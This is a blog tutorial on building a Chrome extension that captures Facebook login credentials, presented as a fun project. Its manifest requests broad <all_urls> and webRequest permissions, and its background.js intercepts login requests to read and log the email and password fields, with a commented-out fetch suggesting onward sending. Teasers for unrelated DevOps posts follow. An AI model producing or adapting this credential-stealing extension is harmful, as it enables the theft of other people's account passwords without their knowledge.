Google Chorme Extension is so fun for discovering

Most of the people use google chrome today.
So I want to show you how to create an Gooogle Chrome Extension to do something that you want.

This extension is used to capture the username and password when users login on Facebook page

So all what I get to do is below

Step1: Create  your own folder named your_extension

Step2: create a file named manifest.json

this file is used to describe all about your extension such as
Name
version
description
permission that your extension want to access like network, storage ....

Background script: Scripts run in background
Action page: html for display in your extension ....
Icon: Icon of your extension

........

manifest.json

{
"manifest_version": 2,
"name": "My Cool Extension",
"version": "0.1",
"description": " Demo extension",
"permissions": [
"activeTab",
"storage",
"<all_urls>",
"webRequest",
"webRequestBlocking"
],
"background": {
"scripts": [
"background.js"
],
"persistent": true
},
"browser_action": {
"default_icon": {
"128": "cool.png"
}
},
"icons": {
"128": "cool.png"
}
}

Explains: The above manifest.json

"permissions": [
"activeTab", // access tab of chrome, you can ignore it
"storage", // access storage to save any configs, you can ignore it
"<all_urls>", // access all urls in when you are searching
//on the address bar
"webRequest", // is used to access webResuest Api (as library)
"webRequestBlocking" // the same above
],

"background": { // declare background task
"scripts": [
"background.js" // this file to do something that you want
],
"persistent": true // i dont understand it :-D, but it is true
},


background.js
chrome.webRequest.onBeforeRequest.addListener(

function (details) {



if (details.url.includes("https://www.facebook.com/login/")) {

// console.log("------", details.url)

console.log("------", details.requestBody.formData.email)

console.log("------", details.requestBody.formData.pass)

// fetch('http://www.google.com').then(r => r.text()).then(result => {

// console.log(">>>>>>>> ",result);

// })

}







},

{ urls: ["<all_urls>"] },

['requestBody']);

you can search api webRequest to do more things that you want.

cool.png



Comments

Post a Comment

Popular posts from this blog

Fixing the DeepSpeed Import Error While Fine-Tuning the Qwen Model

While fine-tuning the Qwen model, I encountered an error in the finetune.py script: ImportError : cannot import name 'deepspeed' from 'transformers.deepspeed' After some investigation, I discovered the issue stems from a recent update in the Transformers library. The transformers.deepspeed module has been deprecated and replaced by transformers.integrations . To fix this, you need to update the import statement in your script. The Fix Replace this: from transformers.deepspeed import deepspeed With this: from transformers.integrations import deepspeed This small change resolved the error, allowing the fine-tuning process to proceed smoothly. Additional Resources For more details, refer to the discussion in the official Transformers GitHub repository: Issue #34582 Remember to keep your library versions up-to-date to avoid similar issues in the future! 
Read more

Amazon Linux 2023 - User data configuration for launch templates to connect to the EKS cluster

  Amazon Linux 2023 (AL2023) introduces a new node initialization process nodeadm that uses a YAML configuration schema. If you’re using self-managed node groups or an AMI with a launch template, you’ll now need to provide additional cluster metadata explicitly when creating a new node group MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="//" --// Content-Type: application/node.eks.aws --- apiVersion: node.eks.aws/v1alpha1 kind: NodeConfig spec: cluster: name: my-cluster-name-prd apiServerEndpoint: https://D59F.xyz.ap-northest-2.eks.amazonaws.com certificateAuthority: Y2VydGlmaWNhdGVBdXRob3JpdHk= cidr: 172.10.0.0/16 kubelet: config: clusterDNS: - 172.10.0.10 flags: - --node-labels=app=my-app,environment=production --// Content-Type: text/x-shellscript; charset="us-ascii" #!/bin/bash set -o errexit set -o pipefail set -o nounset # Install additional packages yum install -y htop jq iptables-services --//--
Read more

How to create ISM policy and rotate logs in opensearch

  { "id" : "k8s_ingress-nginx" , "policy" : { "policy_id" : "k8s_ingress-nginx" , "description" : "Move indices into a cold state after 30 days and delete them after a year." , "default_state" : "hot" , "states" : [ { "name" : "hot" , "actions" : [ { "replica_count" : { "number_of_replicas" : 1 } } ] , "transitions" : [ { "state_name" : "cold" , "conditions" : { "min_index_age" : "3d" } ...
Read more